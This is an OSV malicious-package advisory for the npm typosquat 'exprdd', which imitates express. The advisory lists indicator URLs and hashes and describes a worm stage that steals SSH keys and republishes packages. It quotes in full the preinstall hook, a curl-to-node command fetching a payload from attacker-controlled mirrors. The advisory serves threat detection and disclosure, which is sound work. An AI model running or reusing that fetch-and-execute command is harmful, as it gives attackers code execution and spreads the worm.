MAL-2026-17241

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exprdd/MAL-2026-17241.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17241
Published
2026-09-29T07:12:49Z
Modified
2026-10-05T23:00:07Z
Summary
Malicious code in exprdd (npm)
Details

The package exprdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.


-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d800570db124bde006fc1d078aefceef4e42acce755653f6d3c8282447a512a4)

package.json declares a preinstall lifecycle hook curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, which fetches an unpinned JavaScript payload from a third-party host (gitflic.ru, retrieved via web.archive.org) and pipes it directly into node. Running npm install exprdd therefore executes attacker-controlled code with the installer's privileges before any package code is reviewed or imported. The tarball reuses express's name-adjacent identifier, description ("Fast, unopinionated, minimalist web framework"), author, contributors, repository (expressjs/express), homepage, and dependency list, and ships express's index.js stub, disguising the dropper as the legitimate express package and increasing the chance of accidental installation via typo.

Database specific
{
    "iocs":  {
        "files":  [
            {
                "note":  "preinstall script pipes the web.archive.org copy of node.js into node.",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            },
            {
                "digests":  {
                    "sha256":  "65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577"
                },
                "note":  "Stage two Bash worm, piped from curl into bash.",
                "paths":  [
                    "linux.sh"
                ],
                "source":  "IN_MEMORY"
            },
            {
                "digests":  {
                    "sha256":  "2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2"
                },
                "note":  "systemd-fontd, a stripped Go ELF x86-64 binary run as the \"Font Rendering Service\" systemd service. First path as root, second path without root.",
                "paths":  [
                    "/usr/lib/systemd/systemd-fontrenderd",
                    "~/.config/systemd/systemd-fontcached"
                ],
                "source":  "DROPPED"
            }
        ],
        "urls":  [
            "https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js",
            "https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js",
            "https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh",
            "https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/systemd-fontd"
        ]
    },
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020625",
            "import_time":  "2026-09-29T14:44:37.00132909Z",
            "modified_time":  "2026-09-29T14:39:12Z",
            "sha256":  "4cd27ec488e87cd2e26c940ac161033475731708a3f2ae629c4a138275b520f9",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.1"
            ]
        },
        {
            "id":  "IN-MAL-2026-020875",
            "import_time":  "2026-10-04T23:16:29.830959708Z",
            "modified_time":  "2026-10-04T23:12:28Z",
            "sha256":  "d800570db124bde006fc1d078aefceef4e42acce755653f6d3c8282447a512a4",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / exprdd

Package

Affected ranges

Affected versions

5.*
5.2.1
5.2.2

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "218845c213eff56cf6fe35a98d5610c1455fb92adf9688c0f97614561b7199ce",
            "tlsh":  "5351da21cc0e8c6326c5a2dd3c69a542612188078e41f81cf769539c8f8e52f71b9fbf"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "exprdd-5.2.1.tgz",
            "hashes":  {
                "sha1":  "979d5e66141a1e7ede45f5fdeee09b11991f588c",
                "sha512_sri":  "sha512-WvoEyw7cVWFbjaLX3VVoD5djjGWQM8Bohi0tDfXIwVxhYCJOnRAw+XOuglpg2FHqJdgdpNgJ05ZEfK4LsaqXwQ=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/exprdd/MAL-2026-17241.json"